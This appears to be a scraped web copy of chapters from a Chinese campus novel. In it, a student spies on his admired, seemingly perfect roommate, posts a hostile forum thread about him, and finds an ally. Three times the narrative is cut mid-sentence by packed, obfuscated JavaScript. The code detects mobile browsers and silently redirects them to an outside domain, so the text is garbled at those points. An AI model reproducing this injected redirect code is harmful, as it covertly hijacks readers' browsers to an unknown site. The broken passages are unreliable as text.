魏黎的每句话、每个动作都是经过精心伪装和设计,他社团聚餐时对室友进行褒义的评价,有没有预见过未来有一天桌上的逢绪会意外结识口中的自己呢? 还是说,尽管没有预见,他也不会放过磨灭这一丝一毫,有人会窥见他真实品性的可能? 放眼整个S大,宛如一张无形的蛛网。每一个人都是魏黎网上的猎物,身陷囹圄不可逃脱,同时借着猎物们不自觉的助纣为虐,继续诱骗着其他人,完善着他的完美人设。 “过几天会有一个义捐衣物的活动,到时候我把地址发给你,希望你能来。”蛛网上的逢绪转身,向姜津摆摆手,带走了丁香一般的香气,“回见。” 12. 面试 下午的全校通识选修课,姜津早早来到了阶梯教室。 人还很少,但几乎占据了最后一排。姜津刚从后门溜进去,好不容易抢到了剩下的其中一个座位。这种通识课最后几排可是炙手可热的,万幸他来得早。 他坐后面还有一个小心思。当初之所以选这门课,是偷偷看了魏黎的选课表,他这种连选修课都坐在正数第一排的卷王,姜津可以正大光明地偷窥他了。 屁股刚碰到椅子,还没捂热乎,只听最前面传来一声欢快的叫声:“姜津!” 姜津愣愣地抬起头。 也刚刚进教室的魏黎一脸兴奋,区别是他光明正大走的前门,招手让他过来坐到第一排:“来这儿坐!” 姜津:“……” 好嘛,就那么倒霉,对方一看就发现了他,出师未捷身先死,这学期又一个绝妙的偷窥计划夭折了。 姜津非常不太情愿地挪过去,魏黎起身给他让了个座,说:“你怎么不早点跟我说你跟我选了同一门选修课,以后我们可以结伴上课了。” 姜津低声说:“你怎么那么爱坐前排?” “来都来了,要坐就坐第一排。我坐过山车海盗船都坐第一排。” 姜津只能认命,心想,他这理由真朴实。 不断地有同学进教室,这种通识选修课是全校大课,陆陆续续也有人朝魏黎打招呼,绝大多数是姜津不认识的、从没见过的其他学院的同学们。 魏黎的人脉比他想象中的还要广,他真的很受欢迎。姜津在旁边坐着也沾了点光,不少人的眼神先在魏黎身上,接着游向姜津,短暂停留几秒似乎在想这么大相径庭的两个人怎么坐在一起,然后又把目光转到魏黎身上,带着一点钦佩的意思。 姜津如坐针毡,他跟魏黎的差距因为距离过近而被无限放大,旁边的人多么大方开朗衬得他就多么无趣沉闷,恨不得把头缩进桌子下。 再这样下去,他感觉自己都要对魏黎过敏了。 主讲这节《文物鉴赏》的老教授是行业大牛,白发苍苍但精神矍铄。托魏黎的福,姜津坐在第一排都不敢打盹和看手机,死命睁着眼睛。 课间休息的时候,有几个好学的同学凑到讲台上问教授问题,不知道怎么就聊到了红木。教授问:“你们知道古代人用什么保养红木家具的吗?” 周围同学都摇摇头,面面相觑,没有人知道这种稀罕知识。 魏黎站起来,声音不大不小:“是用核桃油。” 老教授眼睛一亮,点点头:“这位同学说的不错,正是核桃油。把布裹着被碾碎的核桃仁,这样擦过会形成一层油膜,经年累月渗到木材里,还能散发淡淡的香气。你是怎么知道的?” 魏黎谦虚地笑笑,只说了一句:“家父之前对收藏红木比较痴迷,我平时看见过他用核桃油擦拭,就留下一点印象,而且刚才我也只是胡乱猜测,没想到正好歪打正着。” 话尽于此,说多错多。 周围同学的目光瞬间多了几分艳羡。 姜津又在旁边默默扣着手上的倒刺。有限的言语总是能让人激发无尽的想象。刚才魏黎那番话简直没有任何废字。 值得“收藏”的红木也算万里挑一,价格更是不菲,更别说魏父“痴迷”,话里话外都显露着他们家里似乎是什么红木收藏大户。一般家庭可没有这样的实力。 倘若接下来老教授出其不意又问他几个关于红木的问题,魏黎答不上来也是情理之中,因为收藏红木的不是他,痴迷红木的也另有其人,他只是“有点印象”、“胡乱猜测”。 台阶都给自己预备好了,以免被架得太高,下不来台。 这一节大课结束以后,教授特意来第一排问了魏黎的名字。魏黎趁机拿出手机:“我可以加您个联系方式吗?您跟我父亲估计会聊得非常投缘,可惜他现在在国外忙于工作,等他回国,我一定找机会和他登门拜访,向您讨教文玩知识。” 老教授笑而不语,留下号码就翩然离去。 姜津在一旁默默看着,感觉自己像一个不合时宜的俗人,打扰了人家学术探讨的雅兴。 魏黎把其他学子可遇不可求的行业大牛的联系方式仔细放好,再收拾了一下桌面,朝姜津笑笑:“走,到饭点了,一起去食堂。” 姜津肚子里有些疑问,下意识跟着魏黎一起走出教室。这种大课下课的时候很多人,两个人就挤在楼梯举步维艰。 姜津忍不住扭头:“你是怎么突然想到要问他的联系方式呢?” “不是我想要他的,是他想要我父亲的。”魏黎顿了顿,“他过来问我名字不就这个意思吗?只是点个到就知道的事情。” 姜津一脸茫然地看向他,还是有点不太明白。 魏黎意味深长地笑了一声,“但是哪有长辈向小辈要联系方式的道理?更何况他这种学术大牛。” 合着是他在顺水推舟,没有拂了人家面子。 姜津默默低下了自己的头,经过对方的一点拨,可算绕明白了。 为人处世真的是一种天赋,有些人长的耳朵就是两个摆设,而有些人一个耳朵顶别人仨,比六耳猕猴还精,弦外之音都能分析透透的。 不过话说回来,魏黎到底是怎么知道要用核桃油的呢?难道如他所说,他真受到了父亲的熏陶? 姜津低声说:“如果刚才我是你,估计只会老老实实告诉他自己的名字。” 魏黎瞥了他一眼,突然伸手揉了一把姜津的脑袋。 “那也没事,”魏黎顿了顿,“他问的不就是这个吗?你很真诚。” 温热的手掌摸过姜津的发丝,他的后背瞬间起了鸡皮疙瘩,几乎都要跳起来。他下意识缩缩脖子,把劳什子核桃油抛在脑后。 心烦意乱,不知道两人什么时候走到了食堂门口。 姜津突然意识到,他还没跟魏黎单独吃过饭呢。如果不是这次通识课一起下课,以他和魏黎的关系,估计这辈子也不会有这样的机会。 他犹犹豫豫,打算找了个借口开溜:“我想起来我还有事情,先回宿舍了……” 魏黎一把抓住他的后颈,硬生生给提溜回来。姜津第一次意识到他手劲大到不可思议,心里想得乱七八糟,不知道是先跑呢还是先拿出那个笔记本记一笔原来魏黎力气那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849009|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大。 只见魏黎皱皱眉头,语气有点戏谑,开门见山:“你就那么不愿意跟我一起吃饭?” 姜津吓得连忙摆手:“不、不是!” 魏黎盯住他几秒,突然笑了一下:“所以你就是愿意跟我共进晚餐的意思了。”紧接着不由分说把姜津往最近的那个食堂档口一推,“这家炒菜很好吃,你尝尝。” 食堂打饭大叔明显认识魏黎,笑嘻嘻的,“又带同学来啦?” 魏黎“嗯”了一声,“可不是嘛,来照顾你生意。我这个朋友瘦得很,你多给他打点肉。” “好说好说!” 结局就是姜津看着那一碟都快要溢出来炒肉直瞪眼,看来这魏黎面子还挺大的,肉快比平常多出一倍了。 他第一次跟魏黎面对面吃饭,从来没有离得那么近过,难免有些心虚和紧张,专注低头扒饭,间或抬头偷偷看他一眼。 从他这个角度,很明显地看到魏黎的睫毛浓密,鼻梁高挺。 他慢慢嚼着,心想,虽然他很不想承认,但是魏黎眼睛真的很好看,被他盯住,眼神都那么真心实意,似乎演都演不出来,所以他说什么,别人自然而然就信什么。 其实有的时候也不怪其他人都被魏黎蒙蔽。 姜津胡思乱想,自己以后吃饭要不要加一盘炒猪肝,说不定也有点奇效。 魏黎突然撩起眼皮看向他。 姜津手一抖,夹的那块肉掉在桌子上,然后装作什么事情都没有发生一样,又默默夹起来吃掉了。 “逢绪把你的入社申请发给我的时候,我还很意外呢。”魏黎冷不丁开口。 姜津心想,来了。 难怪魏黎非要跟他一起吃饭,原来在这等着呢。 他慢吞吞咽了一口菜:“哪里意外呢?” “没想到你会和逢绪认识,直接由她递过来的申请屈指可数。”魏黎有意无意地问,“你们俩怎么认识的?” “因为校园里的流浪猫认识的。” “那你加入爱心社是为什么呢?” 当然是为了找你把柄,还能是因为什么。姜津含糊地说:“一时兴起。” 魏黎“哦”了一声,听不出什么情绪。 姜津回过神来,小心翼翼地问:“你会因为这个拒了我吗?”他有点后悔,刚才说的理由真的不过脑子,好歹说一些冠冕堂皇的话,什么奉献自己的爱心云云。有的时候面试双方两个人就是逢场作戏,明明知道对方能力没那么够,态度没那么真诚,但话说得漂亮,也会正儿八经地过。 你要体面,我要体面,在没有人傻不拉几地露馅前,大家都要体面。 “怎么会,”魏黎笑了,眨眨眼睛低声说,“你是我朋友,这不一样。恭喜你加入爱心社。” 这算明牌给他开后门了。 好吧,合着摆明他刚才的话确实不太合适。因为加入爱心社,自己又无意中欠了魏黎一个人情。 姜津朝他咧嘴笑笑,表面上为他放水而感激,为加入新社团高兴,心中却腹诽道,别到时候魏黎把柄没抓到,自己的秘密先被他掌握,这就偷鸡不成蚀把米了。 13. 异卵 义捐衣物活动当天,逢绪一行人带着桌椅和宣传材料来到广场的时候,天还蒙蒙亮。她隔大老远就看见有人在路边蹲着,百无聊赖地用树枝子拨土,有点像久等家长不来的小学生。 她抱着东西走过去,问:“你来那么早,等多久了?” 姜津站起来,腿蹲得有些发麻,动作局促,没好意思说是为了给逢绪留下一个守时的好印象。听说她最讨厌无故爽约的人,所以他连早饭都没吃就跑来了。 姜津接过她手里抱着的遮阳帐篷,含糊地说:“毕竟第一次参加,我想早点过来帮帮忙。”然后低头闷声干活。 帮着布置好义捐的场地后,逢绪塞给他一个温热的肉包,“你没吃饭吧?我多买了一个,送你,先垫垫肚子。” 姜津的脸一下子红了,果然什么也逃不脱逢绪的眼睛,都看出来他吃没吃饭。香喷喷的包子边边透油,传递的温度从手心直到脚底,姜津双手捧着连声道谢。 这还是第一次有人给他买早饭。 正当他想张嘴咬一口的时候,视界中突然伸来一只大手把包子夺过去。姜津愣愣抬头,反应发生了什么事情的时候已经来不及了,包子已经被戚思鸣咬了一半下去。 “戚思鸣,你又迟到,你怎么不跟上次一样等着活动结束你再来?”逢绪皱皱眉头。 上次社团活动的时候,戚思鸣就是直接失踪,等到他们中午要吃饭的时候才姗姗来迟,张口就是一句睡过了,语气还理直气壮的。 他嚼着包子,答非所问:“就一个?我也没吃早饭。” 逢绪忍无可忍翻了一个白眼:“我管你吃没吃饭?” 戚思鸣两口把包子吞了,吃的太快还打了一个嗝,瞥了一旁的姜津一眼,把塑料袋扔回给他,说:“谢啦。” 姜津看着手里空荡荡的塑料袋,小声说:“你还我包子。” 戚思鸣把耳朵侧过去,又来犯贱:“什么什么,听不见。” 姜津鼓足勇气,提高了点音量又重复一遍:“你还我包子。” 戚思鸣从喉咙笑出一声,拍拍姜津肩膀:“两块钱的东西你也要别人还?做人要大方一点。” 他不再跟他废话,跟个大爷一样,拿了把椅子坐下,把腿翘在桌子上,两眼一合就是补觉。 姜津气得要死,后槽牙都要咬碎了,把塑料袋想成戚思鸣,又揉又拽,最终撕成一片一片的才舍得扔进垃圾桶。少在这偷换概念道德绑架,逢绪送他的东西可远超它原本的价值。 祝他早晚吃包子噎死。 谁实在没想到戚思鸣也是爱心社的一员,这家伙看起来就没什么爱心的样子,别说让他做公益了,他不压迫别人已经算良心发现。 这场捐赠魏黎他们对接的是一个贫困山区的志愿者会,收到的衣服会统一清洗后运到他们那里。活动过半,因为前期宣传得到位,来的同学络绎不绝,很快收拾好了大包小包的衣服。 姜津环顾四周,心里犯嘀咕,从一开始就没看见过魏黎的身影。 他过来逢绪这边打下手,一边帮她叠收过来的衣服,一边看似无意中问她:“魏黎没有来吗?” “没有。”逢绪动作麻利,说话也简明扼要,“他平时很忙,现在这种活动他只负责前期对接和策划,现场一般没有什么问题。” 逢绪以为姜津第一次参加心里没底,乱七八糟瞎担心,看了他一眼,安慰他说:“没事,魏黎不在,还有我这个副社长在呢,我都能搞定。” 姜津心里晕乎乎的,心想,早知道他就大一入学就加入爱心社好了,那岂不是就能早点跟逢绪认识,顺便还能正大光明接近魏黎,提前发现线索。 姜津心头一热,连手上动作都麻利不少。检查衣物,叠好,装箱,干得乐此不疲。逢绪把脑袋凑过来,不由得夸赞说:“干活挺利索的嘛。” 姜津笑得脸微微发红,不好意思地说:“还好,小时候多做点家务就行了……” 点到为止了,他不会跟她说他从小学起就包揽全家大大小小的家务,冬天没有热水,手被冻得皴裂,多年过去有时还会发痒。长大后有段时期学习跟不上,心里烦躁不知怎的又落了一个爱撕倒刺的毛病,两只手上更没一块好皮了。 他看见逢绪在目不转睛地盯着他的动作,心里有些难为情,借着衣服把他的手藏了藏。 好在她没有发现。 活动进行到一半的时候,姜津拿着宣传单页,假装过来帮忙,实则靠近社团里另一个人,听今天聊天,知道了这个男生是跟魏黎同一批进来的。 他装模作样凑过去,看似不经意地开口:“我以为今天魏黎会过来呢。” “他平时挺忙的,来不来也没关系,毕竟流程都给我们写好了。” “他一个社长连活动都不参加,你们不会不乐意吗?” 姜津的本意是想问问其他人对魏黎的看法,故意说的。刚才逢绪对他那么说,也许只是对他这个新社员维护面子。现在两个人悄咪咪地讲话,还能套出来一点秘闻。这些一开始和魏黎参与公益活动的人,说不定对他有什么别的看法。 不料话音刚落,这个同学奇怪地看了他一眼:“无所谓啊,魏黎一直都很努力的,社团那么多赞助都是他一个人去谈的。他不来线下活动其实我们也能理解。他做公益是真的卖力,一点也不弄虚作假的那种。” 姜津听了这话,缩缩脖子,不张嘴了。 捐赠活动傍晚的时候顺利结束,姜津这一天卖力干活,还跟逢绪说了不少话,心里一百零一分的满足,大家在收拾东西的时候,他拿起扫把扫地,有一个纸团突然扔到他的脚边。 姜津一顿,默默扫掉,但又来一个,两个,三个。 他抬起头,果然是戚思鸣这混蛋,他正把桌上抽纸剩下的纸都搓成一团,挨个扔在地上,不是故意捣乱还能是什么。 姜津正要开口说话的时候,只见身侧忍无可忍的逢绪拿过簸箕,将刚才姜津扫过的垃圾尽数倒在戚思鸣身上。 整个过程不过三秒,戚思鸣猝不及防,被垃圾淋了一身,当季Balenciaga的T恤惨不忍睹,一下子跳起来,张口就是一句“□□大——” 逢绪冷眼看他:“你骂谁?” 脏话半句后面卡了壳,戚思鸣咬牙切齿半天,硬生生把最后一个字吞了下去。 戚思鸣下巴往姜津那边一抬,“我骂的是他,你少管闲事。” “是我招他进来的,姜津的事就是我的事。”逢绪轻蹙眉头,结合之前他的表现,声色俱厉,“你平时所作所为大家早就对你不满,爱心社不是你家,没那么多佣人围着你转,把娇生惯养脾气又臭的大少爷当宝贝。活活不干,迟到早退,还欺负社员,一个不高兴就撒泼,你以为你是谁,三岁小孩吗?” 逢绪声音不大不小,正好周围社团的人听得一清二楚,大家都停下手里的动作,在看戚思鸣的笑话。 戚思鸣死死盯住逢绪的脸,接着环视一周,脸色一阵青一阵白的,想说什么最终还是没有张口,自己抢过扫把簸箕把地上的垃圾扫了。 动作还有点不熟练,显得有点滑稽。 姜津感激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849010|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看了逢绪一眼。 活动结束,等到他们把今天的东西都在社团办公室安顿好以后,成员陆陆续续走了,就剩下三个人。逢绪对姜津说:“你快回去休息吧,今天数你来的最早,早饭也没吃,还跟我们待到那么晚。” 姜津点点头,接着又不放心地看了一眼不远处抽烟的戚思鸣,鼓起勇气说:“要不我送你回宿舍吧。” 戚思鸣听了他的话嗤笑一声,不知道在笑什么。 逢绪摇摇头:“没事,不用担心我。” 见她这样说,姜津也不好坚持,把女生送回宿舍是男朋友的专属,说不定自己还不够格。姜津默默点头,只好作罢。走之前他吸了吸鼻子,发现戚思鸣抽的烟闻起来还有点若隐若无的红酒味,闻起来有有些奇特。 过了一会儿,逢绪把今天活动的报告整理了一下,也正要回去,戚思鸣一个箭步,挡住了门口。 逢绪看都不看他,立马侧过身想要通过,没想到又被堵住了。 她这才掀起眼皮看他,抱着胳膊:“怎么,趁着大家都走了来报复我是吗?” 戚思鸣有些抱怨:“你刚才也太不给我面子了吧,所有人都听见了,以后我怎么在学校里混?” 逢绪冷笑一声:“你是谁,我凭什么给你面子?你是联合国秘书长我就考虑考虑。” “你这还是为了维护姜津,刚才他还想把你送回宿舍,谁知道他安的是什么心?” 逢绪懒得跟他废话,趁其不备冲出门就要走。 戚思鸣拉住她胳膊,想起今天逢绪的反应,这才回过神来:“我靠,你们俩不会都对对方有点意思吧?!” 逢绪甩开他的手,唇枪舌剑但没有否认:“少管闲事。” “我不管你还有谁管你?”戚思鸣声音大了一些,整个楼道都听得见,“你是我亲妹妹,就算咱爸妈当初离婚闹得那么难看,孩子都一边一个,你和我说到底不还是世界上最亲的人吗?” 逢绪说话毫不客气:“就比我早出生几分钟,还真架起哥哥的范儿了?还有,那是你爸,当初就是他出轨,情人都由他默许到欺负我妈头上来了。” 戚思鸣皱皱眉头,打断她:“戚绪!” 对面女生毫不客气:“谁跟你是戚家人,我早就跟我妈姓了。” 说罢,她忍无可忍,转身就走。 戚思鸣跟上来:“我不是反对你在大学谈恋爱,S大一板砖下来砸倒一片优秀的男生,但是你跟谁不好,你跟姜津。他什么朋友都没有,家里穷得叮当响,身无长处,性格也很奇怪——” 逢绪听了猛地回头:“性格奇怪又怎么样?他很奇怪,我也很奇怪。退一万步讲,你这个奇怪由谁定义?全世界的人都要遵循一套模板吗?性格奇怪的人总比又蠢又坏的人强,我还觉得你蠢坏得要死,都成年人了还搞幼儿园里作威作福那一套。” 她末了警告戚思鸣一句:“你以后不许欺负姜津,否则我跟你没完。” 戚思鸣脸上一阵青一阵白,待逢绪的身影消失在了拐角,他转身赌气似的狠狠踢了旁边垃圾桶一脚。 与此同时,姜津自己慢吞吞地走在回宿舍的小路上,看着手机。如今魏黎作为社长忙碌到几乎都不参加线下活动了,这里找不到他的踪迹,其他社员对他也是好评如潮。姜津打算从其他地方下手。 他思忖半天,环视一周,见四下无人,才登上了S大校内论坛。 不出片刻,敲敲打打,一个新贴子出现在了论坛首页。 【难道只有我一个人看经管院的魏黎不顺眼吗?】 14. 同盟 晚上S大在论坛里插科打诨和灌水的人不在少数,很快这个意味不明的贴子被顶到火热,在一众校园事务的贴子中煞是显眼。 “是的,只有楼主一个人。”每次刷新,都看见这第一条回复下面的内赞不断增加。 “?你把人家学院和名字放在标题是什么意思?明目张胆挂人了啊。” “我早就说要把论坛实名制吧?披着默认头像和名字,谁知道底下楼主是什么妖魔鬼怪,全部实名制,都显示学号专业就老实了。” “你看魏黎不顺眼,不会是因为嫉妒他家里有钱长得帅学习好性格开朗人缘还不错吧?楼主是不是恰恰相反哈哈哈哈哈哈哈。” “嗯嗯知道楼主嫉妒啦。” “老师,这种人都能考上S大,我们家子涵为什么没考进来?” “这几年降分录取了些什么货色,生源一年比不如一年了。” “我们S大爱心社远近闻名,其中80%不就是魏黎撑起来的?捐款捐物,助残敬老,支教动员。楼主做的好事能有他一半多吗?” “糊咖勿蹭。” “能说一下楼主是什么原因看他不爽吗?” “要爆瓜就拿点真东西,别在这里打谜语。” …… 姜津的后台几乎要被铺天盖地的回复淹没,他划拉了一下,几乎都是对自己的讨伐,看得他后槽牙都要咬碎了。 只有零星几个态度相对来说比较温和的,也是让他拿出点证据来。 巧了,这个他真没有。 且不说当初窃听的录音没有保存下来,就算真的有,与魏黎家庭成员扑朔迷离相比,他私自给同学手机安装窃听软件的行为更是过分,恐怕他先一步受到学校惩处。 姜津笨嘴拙舌,打字也慢吞吞的,挨个反驳都赶不上他们回复自己的速度。 他破罐子破摔,索性直接在主楼里讲:“那么一个完美的人,你们不觉得奇怪吗?不觉得虚假吗?那么多人维护他,就一句看不顺眼的话也说不得?” 这一句一发出来,同学们回复地更猛烈了。 “楼主翻来覆去车轱辘话也没什么真瓜。没意思,散了!” “那么说楼主也没什么证据嘛,早点深山吧,少在这丢人现眼。” “我还以为魏黎杀人放火,脚踏三只船欺骗人家感情,或者是贪污爱心社捐款了,值得楼主那么兴师动众地到论坛首页讨伐他,原来都是你臆想的。” “嗯嗯,你说得对,魏黎只是一个塑造出来的人设,其实内心扭曲是个疯批哈哈哈哈哈哈哈。” “我说一句公道话,魏黎同学真的很优秀,不仅学业上是绩点第一,平时还做过不少公益活动。楼主说这个人假,也不能否认爱心社那么多活动都是假的吧?要知道他们每次都会公示捐赠明细的,帮助人也是实打实的。楼主上大学落差大,但不能因为别人确实比自己优秀还心地善良就诽谤吧?” 一时间维护魏黎的评论如同雪花一样席卷而来,姜津孤立无援。本来他还设想同学们没有那么夸张,结果事实是狠狠扇了他一巴掌。 评论里说的不错,魏黎的人缘确实好得出奇。全校只有姜津一个人怨恨地嫉妒他。 突然有一条回复格格不入:“我的天哪,‘完美’一词都出来了。其实魏黎确实哪哪都好,但我们平时接触有限,都感觉他也没到十全十美的地步,只有楼主先假设他是‘完美’的人再索敌吧?” 也就是从这条开始楼内生态逐渐开始不对了。 “是呀,没有人是完美的,这谁都知道。但楼主为什么确定魏黎这个人非常‘完美’呢?” “我说呢,原来是魏黎深柜,不过话说回来魏黎一直没有女朋友,也没有任何谈恋爱的消息,楼主你早点明白自己心意,去跟他表白说不定就成功了哈哈哈哈哈哈哈。” “可别了,魏黎罪不至此。” “楼上的,这算给人家魏黎造黄谣了。” 姜津回了宿舍,一路上唇枪舌剑,以一己之力抵抗全校。奈何没有任何人支援,好几页的回复,愣是没有任何人对魏黎有什么不满。 姜津现在脑中浮想起魏黎的笑脸就恨得牙痒痒。 蒙蔽,你们都被魏黎蒙蔽了!亏这些人还是高分考进来的天之骄子,难道都是这样识人不清吗? 而当他看见有人说他是魏黎深柜的时候,敲着键盘的手一愣。 深柜,深柜是什么意思? 姜津上大学才有自己的手机,还是段洁不要淘汰下来给他的老款,可以说十八岁之前没怎么接触过网络,别说电脑了。在同龄人写论文把键盘敲得飞起的时候,他还在笨拙地用一指禅,光是驯服十个手指头就耗费了不少功夫。 姜津把“深柜”这两个字打在百度文本框里,点击搜索。下一秒,他愤愤地退出。 他是同性恋,怎么可能?空口无凭,全是造谣。说他喜欢魏黎?更是无稽之谈! 同性恋一词对于前十八年都在埋头苦学的姜津来说太过遥远,这似乎只是在新闻里出现过的名词,现实生活中触碰不到所以没有什么实感。他找到那条说他是魏黎深柜的评论,忿忿回复道:“我不是同性恋,我喜欢女孩子。” 可无论再怎么解释,那些同学反而变本加厉。 姜津气得眉毛都要打结,正欲继续打字论战的时候,突然宿舍门打开,魏黎洗完澡回来。身后的陈玉一下子蹦得三尺高,把手机举在魏黎面前。 他气不过:“学校论坛上有人诬告你。” 姜津手一抖,手机掉在桌子上吧嗒一声。 他没想到同宿舍的陈玉也会刷论坛,更没想到他会把内容给当事人看。说不定自己刚才就回复了哪条陈玉“伸张正义”的评论。网络和现实世界产生了链接,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849011|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有种不切实际的感觉。血液倒流,一下子慌神。 姜津强镇精神,心里安慰自己,没事,虽然出乎意料,但让魏黎本人看见又怎么样?借着网络的掩护,他又揪不出来自己。也是时候灭灭他的嚣张气焰,让他认识到,不是所有人都贪婪他的光芒。 今晚维护他的人,迟早有一天也会像自己一样,明白魏黎的真面目。他会变得人人唾弃。 魏黎一手抓着毛巾擦湿漉漉的头发,一手刷着贴子,面上不见喜怒。一秒两秒三秒……时间慢慢过去。 魏黎肯定想不到,发贴人正在自己不到三米的距离,正在屏住呼吸听着自己的动静。 “这谁啊,看你不爽还把你挂了,真没品。我认识管理论坛的同学,要不要我去打个招呼让他找出那个人是谁,再把贴子删掉?” 听了这话,姜津的心脏瞬间提到嗓子眼,砰砰直跳几乎要呕出来。 魏黎从喉咙里发出笑声,把手机还给他:“没事,我行得正坐得端,身正不怕影子斜。这个人也只敢躲在网线背后,发这种模棱两可的贴子,下面都是骂他的,看来大家还是明眼人。追究起来反而是显得我小气了。” 他说完顿了顿,紧接着冷不丁扭过头:“是吗,姜津?” 姜津鼻尖隐约闻到魏黎沐浴露的味道,清爽得像是薄荷,闻着空气都有些寒意。他全身鸡皮疙瘩都要起来,缓缓转身,努力扯出一个笑来:“啊,我刚才没有听见你们在说什么。” 他不知道魏黎为什么叫他的名字,明明这个发贴人还没有暴露。 “没事了。”魏黎对他勾起嘴角,摇摇头,然后自顾自去吹头发了,“只是一个很无聊透顶的人做出的很无聊的事情。” 你才无聊透顶。 姜津赶紧洗漱上床,把被子蒙过头,蜷缩在被窝里,再次点开那个贴子。 近几分钟的新回复基本都是魏黎的簇拥,姜津现在反驳不过来,装作看不见。他把评论翻到底,不过—— 终于出现了一条与众不同的评论。 口鸟:“虽然我不认同楼主说的‘完美’一词,但魏黎就是一死装货,嘴里没一句实话,谁信谁蠢。S大果然要完,全校那么多人只有我和楼主能明察秋毫。” 姜津一下子激动起来,这个人冒着天下之大不韪来评论力挺他,简直可歌可泣,太有义气了! 更重要的是,知音难逢。估计全校这样认为的只有他们两个了,姜津顿时生出一股英雄惜英雄的感觉。并且,这个人的出现也是达到了他今晚的目的。 既然只有他一个人的力量,平时调查也没有结果,不如去找一些“志同道合”的人,说不定人家有什么值得深研的见解。那么,哪里有比校内论坛更适合的地方吗? 他点开那个人的头像,在私聊框里输入:“要出来聊聊吗?” 手指微微颤抖,点击发送。 15. 盟友 姜津坐在约定好的花园凉亭前,时不时看向手机上的时间,面前的石桌还摆着两杯奶茶。 这个小凉亭在他们男生宿舍楼的前面,上下课都要路过,过去比较方便。 昨天他约那个口鸟来这,对方爽快答应,估计也是长时间不堪其扰的受害者。不知道对方是男是女,姜津想起来魏黎请他喝的那杯奶茶,甜滋滋的,现在还能回想起它的味道。 奶茶是社交的工具,所以姜津去学校里的连锁奶茶店,破天荒地买了两杯,一杯7分甜一杯3分甜,不知道对方喜欢哪杯。 他真的希望能跟这个潜在的“盟友”搞好关系,齐心协力击碎魏黎的人设。 在他胡思乱想之际,突然面前有人一屁股坐下。姜津抬头一看,脸上的笑一下子僵住。 只见戚思鸣上下打量他,讥笑一声:“是你啊?” “什么是你啊,我不知道。”姜津默不作声地把对面那杯奶茶移过来,两杯一起抱着装傻。他自认为心眼确实不太大,戚思鸣抢了他的包子还想喝他奶茶,做梦。 戚思鸣拿出手机,直接把贴子打开给他看:“我可是你约来的,这人是你吧?我猜也猜到了。” 原来戚思鸣就是那个口鸟,早知道如此他就不去买那个奶茶献殷勤了。 姜津一个激灵,低声说:“你怎么知道的?” 戚思鸣翘起二郎腿,十分显摆:“我实话实说,就咱学校除了你谁还那么挖空心思对付魏黎?上课的时候我就觉得你不对劲,不盯着ppt老盯着人家后脑勺看干什么?傻子都知道你有别样心思。而且昨晚贴子里楼主的一本正经的语气也很像。别人说你是魏黎深柜你还老实本分跟人家解释,要是我早就跟他对喷了。” 原来他那么明显,姜津不好意思地咳嗽一声,然后他突然意识到了什么,有些紧张:“你是说我很明显?我以为平时很隐蔽了。除了你谁还发现我?” “估计只有我,你平时老坐后排,除了我谁还闲的没事看你。” 听戚思鸣那么说,姜津稍稍松了一口气。他现在的行为,说到底还是见不得光的,虽然自诩正义之举,但同时也是满足自己与众不同的窥私欲望。幸好是被戚思鸣发现了一点端倪,要是被旁人,尤其是魏黎知晓…… 不敢想象。 姜津换位思考了一下,如果身边有人,甚至还是同宿舍的室友24小时不间断监视着你,打探你的消息,跟踪你的行程,试图摸透你的一切,还伪装成正常人跟你交流,但背地里想让你身败名裂。 姜津觉得,还是不要换位思考比较好。 戚思鸣问:“那你又是怎么觉得魏黎有问题的?” 姜津老老实实回答:“没有证据,全凭直觉。你呢?” 说到底,现阶段,他除了自己的感觉,其余什么佐证都没有。可是这种自己的感觉又是如此强烈不可忽视,每次看见魏黎的时候都会泛出来,如同涨潮波浪将他整个人吞没,呼吸都不畅。 戚思鸣眉毛一挑,随口一说:“跟你一样,也是直觉。” 这个人满嘴跑火车,姜津起身作势要走。 “哎哎,我不逗你行了吧。”戚思鸣脑子里想起逢绪说的那些不让欺负姜津的话,无可奈何,“我跟你说实话。” 姜津立马回来乖乖坐好。 “你还记得我们刚上大一第一次全班聚餐的时候吗?” “记得,你叫我平菇精的那一天晚上,不过我没有去。”聚餐要A钱,当时段洁给他的钱交了学费和住宿费,其实没有多少了,他正发愁这个月怎么过。这正是因为开学聚餐没有去成,他接二连三地错过了结交朋友的机会。 而戚思鸣嫌弃住宿条件差,幽暗又潮湿,当时开学第一天,就直接嘲笑正在铺床的姜津是哪来的平菇成精。 